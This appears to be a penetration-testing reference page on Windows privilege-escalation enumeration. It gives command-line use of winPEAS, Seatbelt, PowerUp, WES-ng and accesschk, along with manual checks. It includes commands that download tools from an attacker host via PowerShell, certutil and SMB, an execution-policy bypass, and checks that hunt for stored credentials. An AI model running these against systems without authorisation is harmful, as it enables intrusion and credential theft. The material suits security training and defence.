# Windows Privilege Escalation Enumeration Tools

> Covers key tools for enumerating Windows privilege escalation vectors, including misconfigured services, weak permissions, unpatched vulnerabilities, and token abuse opportunities.

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/windows-privilege-escalation-enumeration-tools
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-05-15

Automated enumeration is the first step after landing a shell on a Windows target. These tools identify misconfigurations, weak permissions, stored credentials, and exploitable services in seconds. Always run enumeration before attempting any specific technique.

## Getting Tools onto the Target

**PowerShell download (most common):**

```powershell
# On target: download from attack box
(New-Object Net.WebClient).DownloadFile("http://$LHOST:8080/winpeas.exe", "C:\Windows\Temp\winpeas.exe")

# Or via Invoke-WebRequest
Invoke-WebRequest -Uri "http://$LHOST:8080/winpeas.exe" -OutFile "C:\Windows\Temp\winpeas.exe"
```

**Certutil (no PowerShell needed):**

```bash
certutil -urlcache -split -f http://$LHOST:8080/winpeas.exe C:\Windows\Temp\winpeas.exe
```

**Base64 encode for restricted shells:**

```bash
# On attack box
base64 -w 0 winpeas.exe > winpeas.b64
```

```powershell
# On target: paste and decode
[System.IO.File]::WriteAllBytes("C:\Windows\Temp\winpeas.exe", [System.Convert]::FromBase64String("PASTEBASE64HERE"))
```

SMB share from attack box:

```bash
# On attack box
impacket-smbserver share /path/to/tools -smb2support

# On target
copy \\$LHOST\share\winpeas.exe C:\Windows\Temp\
```

## winPEAS: Start Here

The most comprehensive Windows enumeration tool. Covers services, registry, credentials, scheduled tasks, token privileges, and network configuration.

```bash
# Run with all checks
C:\Windows\Temp\winpeas.exe

# Save output to file
C:\Windows\Temp\winpeas.exe > C:\Windows\Temp\winpeas_out.txt

# Run specific category
C:\Windows\Temp\winpeas.exe servicesinfo
C:\Windows\Temp\winpeas.exe windowscreds
C:\Windows\Temp\winpeas.exe filesinfo
```

**Interpreting output:**

- **Red**: critical findings, likely directly exploitable
- **Yellow**: interesting, investigate manually
- Focus on: service binary permissions, unquoted paths, AlwaysInstallElevated, token privileges (SeImpersonate, SeBackup), stored credentials, autorun entries

Download: [https://github.com/carlospolop/PEASS-ng/releases/latest](https://github.com/carlospolop/PEASS-ng/releases/latest)

## Seatbelt: Deep Configuration Audit

C# tool from GhostPack. Runs targeted checks across security configuration, credentials, and enumeration categories. More structured output than winPEAS.

```powershell
# Run all checks
.\Seatbelt.exe -group=all

# Specific groups
.\Seatbelt.exe -group=system
.\Seatbelt.exe -group=user
.\Seatbelt.exe -group=misc

# Individual checks
.\Seatbelt.exe TokenPrivileges
.\Seatbelt.exe CredEnum
.\Seatbelt.exe PowerShellHistory
.\Seatbelt.exe SavedRDPConnections
.\Seatbelt.exe PuttySessions
```

Key checks for privesc: `TokenPrivileges`, `UACSystemPolicies`, `PowerShellHistory`, `CredEnum`, `WindowsAutoLogon`, `McAfeeSiteList`.

Download: [https://github.com/GhostPack/Seatbelt](https://github.com/GhostPack/Seatbelt)

## PowerUp: Automated Misconfig Checks

PowerShell script from PowerSploit. Specifically focused on privilege escalation vectors: service misconfigs, registry issues, unquoted paths, and token abuse.

```powershell
# Import and run all checks
Import-Module .\PowerUp.ps1
Invoke-AllChecks

# Save output
Invoke-AllChecks | Out-File -Encoding ASCII C:\Windows\Temp\powerup_out.txt

# Individual checks
Get-UnquotedService
# or Get-ServiceUnquoted on old PowerUp
Get-ModifiableServiceFile
# or Get-ServiceFilePermission on old PowerUp
Get-ModifiableService
# Get-ServicePermission on old PowerUp
Get-RegistryAlwaysInstallElevated
Get-RegistryAutoLogon
Get-ModifiableRegistryAutoRun
Get-ModifiableScheduledTaskFile
```

If execution policy blocks import:

```bash
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"
```

Download: [https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)

## WES-ng: Kernel CVE Matching

Windows Exploit Suggester Next Generation. Compares `systeminfo` output against a CVE database to identify missing patches.

```bash
# On target: collect systeminfo
systeminfo > C:\Windows\Temp\sysinfo.txt
```

Transfer `sysinfo.txt` to your attack box, then:

```bash
# On attack box
python3 wes.py --update
python3 wes.py sysinfo.txt

# Filter to exploits only, exclude DoS
python3 wes.py sysinfo.txt --exploits-only
python3 wes.py sysinfo.txt -e --hide "Internet Explorer"
```

For kernel exploitation workflow see [https://hackindex.io/platforms/windows/privilege-escalation/windows-kernel-exploits](https://hackindex.io/platforms/windows/privilege-escalation/windows-kernel-exploits).

Download: [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng)

## accesschk: Permission Verification

Sysinternals tool. Verifies exact permissions on services, files, registry keys, and processes. Use to confirm winPEAS findings before exploitation.

```bash
# Check service permissions for current user
accesschk.exe -ucqv * /accepteula 2>nul

# Check a specific service
accesschk.exe -ucqv "VulnerableService" /accepteula

# Find all services current user can modify
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula

# Check file permissions
accesschk.exe -uwqs Users C:\* /accepteula
accesschk.exe -uwqs "Everyone" C:\* /accepteula

# Check registry key permissions
accesschk.exe -uwkqs Users HKLM\System\CurrentControlSet\Services /accepteula
```

Download: [https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk)

## Manual Windows Privilege Escalation Enumeration Checks

Run these manually before or alongside automated tools:

```bash
# Current user and privileges
whoami
whoami /all
whoami /priv

# System info
systeminfo
hostname

# Other users
net user
net localgroup administrators

# Network
ipconfig /all
netstat -ano
route print

# Running services
sc query
tasklist /svc

# Scheduled tasks
schtasks /query /fo LIST /v

# Installed software
wmic product get name,version
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr "DisplayName"

# PowerShell history
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

## References

- [winPEAS](https://github.com/carlospolop/PEASS-ng) -  PEASS-ng Automated Windows privilege escalation enumeration.
- [Seatbelt](https://github.com/GhostPack/Seatbelt) - GhostPack Structured security configuration auditing tool.
- [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) - PowerShellMafia PowerUp and other PowerShell privilege escalation modules.
- [WES-ng](https://github.com/bitsadmin/wesng) - bitsadmin Windows patch level CVE comparison tool.